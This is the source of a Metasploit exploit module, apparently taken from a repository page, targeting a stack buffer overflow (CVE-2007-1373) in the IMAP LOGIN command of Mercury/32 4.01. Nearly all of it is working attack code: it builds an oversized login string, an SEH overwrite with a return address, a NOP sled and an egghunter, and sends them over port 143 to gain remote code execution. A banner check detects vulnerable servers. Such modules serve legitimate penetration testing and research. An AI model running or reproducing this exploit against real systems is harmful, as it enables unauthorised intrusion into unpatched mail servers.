Path: blob/master/modules/exploits/windows/imap/mercury_login.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh10include Msf::Exploit::Remote::Egghunter1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Mercury/32 4.01 IMAP LOGIN SEH Buffer Overflow',17'Description' => %q{18This module exploits a stack buffer overflow in Mercury/32 <= 4.01b IMAPD19LOGIN verb. By sending a specially crafted login command, a buffer20is corrupted, and code execution is possible. This vulnerability was21discovered by (mu-b at digit-labs.org).22},23'Author' => [24'mu-b', # Discovery and exploit25'MC', # Metasploit module26'Ivan Racic' # Automatic targeting + egg hunter27],28'License' => MSF_LICENSE,29'References' => [30['CVE', '2007-1373'],31['EDB', '3418']32],33'Privileged' => true,34'DefaultOptions' => {35'EXITFUNC' => 'thread'36},37'Payload' => {38'BadChars' => "\x00\x0a\x0d\x20",39'Space' => 250040},41'Platform' => 'win',42'Targets' => [43[44'Windows Universal',45{46'Ret' => 0x0040146047}48]49],50'DisclosureDate' => '2007-03-06',51'DefaultTarget' => 0,52'Notes' => {53'Reliability' => UNKNOWN_RELIABILITY,54'Stability' => UNKNOWN_STABILITY,55'SideEffects' => UNKNOWN_SIDE_EFFECTS56}57)58)59register_options(60[61Opt::RPORT(143)62]63)64end6566def check67connect68resp = sock.get_once69disconnect70return CheckCode::Vulnerable if resp =~ %r{Mercury/32 v4\.01[ab]}7172Exploit::CheckCode::Safe73end7475def exploit76hunter, egg = generate_egghunter(payload.encoded)77connect78sock.get_once79num = rand(255).to_i80sploit = 'A001 LOGIN ' + "\x20" * 1008 + "{#{num}}\n"81sploit << rand_text_alpha_upper(347)82sploit << egg + payload.encoded83sploit << rand_text_alpha_upper(7500 - payload.encoded.length - egg.length)84sploit << "\x74\x06\x75\x04" + [target.ret].pack('V')85sploit << make_nops(20)86sploit << hunter87sock.put(sploit)88sock.get_once89print_status("Sending payload (#{sploit.length} bytes) ...")90handler91disconnect92end93end949596